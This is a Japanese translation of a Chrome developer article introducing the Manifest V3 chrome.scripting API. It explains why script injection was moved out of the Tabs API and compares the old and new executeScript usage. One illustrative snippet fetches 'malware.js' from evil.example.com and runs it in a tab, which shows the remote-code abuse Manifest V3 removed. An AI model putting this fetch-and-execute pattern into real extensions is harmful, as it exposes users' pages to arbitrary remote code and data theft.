chrome.scripting のご紹介

Manifest V3 では、Chrome の拡張機能プラットフォームに多くの変更が加えられています。この記事では、chrome.scripting API の導入という、特に注目すべき変更の背景と変更内容について説明します。

chrome.scripting とは何ですか?

名前が示すように、chrome.scripting は Manifest V3 で導入された新しい名前空間で、スクリプトとスタイルの挿入機能を担当します。

これまでに Chrome 拡張機能を作成したことがあるデベロッパーは、Tabs API の Manifest V2 メソッド(chrome.tabs.executeScriptchrome.tabs.insertCSS など)に精通しているかもしれません。これらのメソッドを使用すると、拡張機能はそれぞれスクリプトとスタイルシートをページに挿入できます。Manifest V3 ではこれらの機能は chrome.scripting に移動されています。将来的には、この API にいくつかの新機能を追加して拡張する予定です。

新しい API を作成する理由

このような変化において、最初に思い浮かぶことが多い質問の一つは、「なぜ?」です。

さまざまな要因から、Chrome チームはスクリプト用に新しい名前空間を導入することにしました。 まず、Tabs API は、機能のゴミ箱のようなものです。2 つ目は、既存の executeScript API に互換性を破る変更を加える必要があったことです。第 3 に 拡張機能のスクリプト機能を 拡張したいと考えていましたこれらの懸念事項を踏まえ、スクリプト機能を格納する新しい Namespace の必要性が明確になりました。

ゴミの引き出し

過去数年間、拡張機能チームを悩ませてきた問題の 1 つが、chrome.tabs API の過負荷です。この API が最初に導入されたとき、提供される機能のほとんどは、ブラウザタブの広範なコンセプトに関連していました。しかしその時点でも、少しだけ機能を集めたもので、年々このコレクションは増え続けています。

Manifest V3 がリリースされるまでに、Tabs API は、基本的なタブ管理、選択管理、ウィンドウの整理、メッセージング、ズーム制御、基本的なナビゲーション、スクリプト、その他のいくつかの小さな機能をカバーするように拡張されました。これらはすべて重要ですが、Google がプラットフォームのメンテナンスを行い、デベロッパー コミュニティからのリクエストを考慮しているため、デベロッパーにとっては、また Chrome チームにとっても、作業を開始したばかりの場合は負担に感じるかもしれません。

もう 1 つの複雑な要因は、tabs 権限が十分に理解されていないことです。他の多くの権限は特定の API(storage など)へのアクセスを制限しますが、この権限はタブ インスタンス上の機密性の高いプロパティへのアクセス権のみを拡張機能に付与する(さらに拡張機能は Windows API にも影響する)という点で、少し特殊な権限です。多くの拡張機能デベロッパーは、Tabs API のメソッド(chrome.tabs.createchrome.tabs.executeScript など)にアクセスするにはこの権限が必要だと誤って考えています。Tabs API から機能を移動することで、この混乱を解消できます。

破壊的変更

Manifest V3 の設計時に対処しようとした主な問題の 1 つは、「リモートでホストされるコード」によって可能になる不正使用とマルウェアでした。このコードは実行されますが、拡張機能パッケージには含まれません。不正な拡張機能の作成者が、リモート サーバーから取得したスクリプトを実行してユーザーデータを盗んだり、マルウェアを挿入したり、検出を回避したりすることがよくあります。善意のユーザーもこの機能を使用していますが、最終的には、このままにしておくのはあまりにも危険であると判断しました。

拡張機能がバンドルされていないコードを実行する方法はいくつかありますが、ここで該当するのは Manifest V2 の chrome.tabs.executeScript メソッドです。このメソッドを使用すると、拡張機能でターゲット タブ内の任意のコード文字列を実行できます。つまり、悪意のあるデベロッパーがリモート サーバーから任意のスクリプトを取得して、拡張機能がアクセスできるページ内で実行できるということです。リモートコードの問題に対処するには、この機能を削除する必要があることがわかっていました。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

また、Manifest V2 バージョンの設計におけるその他の微妙な問題をクリーンアップし、API をより洗練された予測可能なツールにしたいと考えていました。

Tabs API 内でこのメソッドのシグネチャを変更することもできましたが、これらの互換性のない変更と新しい機能の導入(次のセクションで説明)の間に、完全に切り替える方がすべてのユーザーにとって簡単であると考えました。

スクリプト機能の拡張

Manifest V3 の設計プロセスでは、Chrome の拡張機能プラットフォームに追加のスクリプト機能を導入したいという要望も検討しました。具体的には、動的コンテンツ スクリプトのサポートを追加し、executeScript メソッドの機能を拡張することを目的としています。

動的コンテンツ スクリプトのサポートは、Chromium で長い間リクエストされていた機能です。現在、Manifest V2 と V3 の Chrome 拡張機能では、manifest.json ファイルでコンテンツ スクリプトを静的に宣言することしかできません。このプラットフォームには、新しいコンテンツ スクリプトを登録する方法、コンテンツ スクリプトの登録を調整する方法、実行時にコンテンツ スクリプトを登録解除する方法がありません。

この機能リクエストには Manifest V3 で対応したいと考えていました。しかし、既存の API のどれもが適切とは言えませんでした。また、Firefox の Content Scripts API との連携も検討しましたが、早い段階でこのアプローチにはいくつかの大きな欠点があることが判明しました。まず、互換性のないシグネチャがあることがわかっていました(たとえば、code プロパティのサポートの廃止)。次に、API にはさまざまな設計上の制約がありました(たとえば、Service Worker の存続期間を超えて存続するために登録が必要)。最後に、この名前空間は、拡張機能でのスクリプト作成をより広い範囲で検討するコンテンツ スクリプト機能にもつながる可能性があります。

executeScript については、Tabs API バージョンのサポート範囲を超えて、この API の機能を拡張したいと考えていました。具体的には、関数と引数をサポートし、特定のフレームを簡単にターゲットにし、「タブ」以外のコンテキストをターゲットにしたいと考えていました。

今後は、拡張機能がインストール済みの PWA や、コンセプト上「タブ」にマッピングされない他のコンテキストとどのようにやり取りできるかについても検討しています。

tabs.executeScript と scripting.executeScript の変更

以降では、chrome.tabs.executeScriptchrome.scripting.executeScript の類似点と相違点について詳しく説明します。

引数付き関数を挿入する

リモートでホストされるコードの制限を考慮してプラットフォームをどのように進化させるか検討する際に、任意のコード実行の力と、静的コンテンツ スクリプトのみを許可することとのバランスを取ることを目標としました。私たちがとった解決策は、拡張機能が関数をコンテンツ スクリプトとして挿入し、値の配列を引数として渡すようにすることでした。

簡単な例を見てみましょう。たとえば、ユーザーが拡張機能のアクション ボタン(ツールバーのアイコン)をクリックしたときに、ユーザーに名前を表示するスクリプトを挿入するとします。Manifest V2 では、コード文字列を動的に作成し、そのスクリプトを現在のページで実行できました。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 拡張機能では拡張機能にバンドルされていないコードを使用できませんが、Google の目標は、任意のコードブロックが Manifest V2 拡張機能で有効になるダイナミズムを維持できるようにすることでした。関数と引数のアプローチにより、Chrome ウェブストアの審査担当者、ユーザー、その他の関係者は、拡張機能がもたらすリスクをより正確に評価できます。また、デベロッパーはユーザー設定やアプリケーションの状態に基づいて拡張機能のランタイム動作を変更できるようになります。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

ターゲティング フレーム

また、改訂版の API では、デベロッパーがフレームとやり取りする方法も改善されています。Manifest V2 バージョンの executeScript では、タブ内のすべてのフレームまたはタブ内の特定のフレームをターゲットに設定できました。chrome.webNavigation.getAllFrames を使用すると、タブ内のすべてのフレームのリストを取得できます。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3 では、オプション オブジェクトの frameId 整数プロパティがオプションの frameIds 整数配列に置き換えられました。これにより、デベロッパーは 1 回の API 呼び出しで複数のフレームをターゲットにできるようになります。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

スクリプト インジェクションの結果

また、Manifest V3 でスクリプト インジェクションの結果を返す方法も改善しました。「結果」は基本的に、スクリプトで評価される最後のステートメントです。これは、eval() を呼び出すか Chrome DevTools コンソールでコードブロックを実行したときに返される値で、プロセス間で結果を渡すためにシリアル化された値だと考えてください。

Manifest V2 では、executeScriptinsertCSS は単純な実行結果の配列を返します。注入ポイントが 1 つしかない場合は問題ありませんが、複数のフレームに注入した場合は結果の順序が保証されないため、どの結果がどのフレームに関連付けられているかを見分ける方法はありません。

具体的な例として、同じ拡張機能の Manifest V2 バージョンと Manifest V3 バージョンから返される results 配列を見てみましょう。どちらのバージョンの拡張機能でも同じコンテンツ スクリプトが挿入されます。結果は同じデモページで比較します。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 バージョンを実行すると、[1, 0, 5] の配列が返されます。どちらがメインフレームに対応し、どちらが iframe ですか?戻り値からはわからないため、はっきりとはわかりません。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

マニフェスト V3 バージョンでは、results に評価結果の配列ではなく結果オブジェクトの配列が含まれるようになりました。結果オブジェクトには、各結果のフレームの ID が明確に識別されます。これにより、デベロッパーは結果を活用して特定のフレームに対してアクションを実行しやすくなります。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

まとめ

マニフェスト バージョンのバンプは、拡張機能 API を再考し、モダナイズする貴重な機会となります。Manifest V3 の目標は、拡張機能の安全性を高めながら、デベロッパー エクスペリエンスを向上させることで、エンドユーザー エクスペリエンスを改善することです。Manifest V3 に chrome.scripting を導入することで、Tabs API をクリーンアップし、executeScript を刷新してより安全な拡張機能プラットフォームを実現し、今年後半にリリースされる新しいスクリプト機能の土台を築くことができました。